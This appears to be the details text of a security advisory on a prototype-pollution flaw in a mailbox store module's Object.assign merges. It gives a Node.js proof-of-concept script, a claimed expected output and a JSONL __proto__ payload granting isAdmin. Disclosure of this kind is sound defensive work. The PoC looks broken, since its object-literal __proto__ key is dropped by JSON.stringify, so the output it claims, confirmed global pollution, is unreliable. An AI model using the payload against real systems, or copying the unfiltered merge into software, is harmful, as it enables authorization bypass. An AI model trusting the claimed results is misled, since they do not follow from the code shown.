+ "details": "### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n if (row._op === 'update') {\n const existing = this._index[row.id];\n // VULNERABLE: Direct Object.assign without key filtering\n if (existing) Object.assign(existing, row.fields);\n else this._index[row.id] = row.fields;\n }\n // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n const existing = this._index[id];\n // VULNERABLE: Direct Object.assign without key filtering\n if (existing) Object.assign(existing, fields);\n // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file → \n2. `readLines()` function (line 47) → \n3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n constructor(filePath) {\n this.filePath = filePath;\n this._index = {};\n }\n\n load() {\n if (!fs.existsSync(this.filePath)) return;\n const lines = fs.readFileSync(this.filePath, 'utf8').split('\\n');\n for (const line of lines) {\n if (!line.trim()) continue;\n try {\n const row = JSON.parse(line);\n this._applyUpdate(row);\n } catch (e) {\n // Ignore parse errors\n }\n }\n }\n\n _applyUpdate(row) {\n if (row._op === 'update') {\n const existing = this._index[row.id];\n // VULNERABLE: No filtering of dangerous keys\n if (existing) Object.assign(existing, row.fields);\n else this._index[row.id] = row.fields;\n }\n }\n\n update(id, fields) {\n this._updateRecord(id, fields);\n }\n\n _updateRecord(id, fields) {\n const existing = this._index[id];\n // VULNERABLE: No filtering of dangerous keys\n if (existing) Object.assign(existing, fields);\n else this._index[id] = fields;\n }\n}\n\n// Test the vulnerability\nconsole.log('=== Testing Prototype Pollution ===\\n');\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n _op: 'update',\n id: 'msg-123',\n fields: {\n __proto__: {\n polluted: true,\n isAdmin: true\n },\n normalField: 'normalValue'\n }\n}) + '\\n';\n\nconst testDir = '/tmp/evolver-pollution-test';\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, 'messages.jsonl');\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log('Created malicious messages.jsonl');\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log('\\n=== Checking for prototype pollution ===');\nconst testObj = {};\nconsole.log('testObj.polluted:', testObj.polluted);\nconsole.log('testObj.isAdmin:', testObj.isAdmin);\n\nif (testObj.polluted === true) {\n console.log('\\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');\n console.log('All objects now have \"polluted\" and \"isAdmin\" properties.');\n} else {\n console.log('\\n🟡 Prototype pollution may require different payload structure');\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log('\\n=== Impact Demonstration ===');\nfunction checkAdmin(user) {\n // Typical pattern that would be vulnerable\n if (user.isAdmin) {\n return 'Access granted - Admin privileges';\n }\n return 'Access denied';\n}\n\nconst regularUser = { name: 'normal_user' };\nconsole.log('Regular user check:', checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.",
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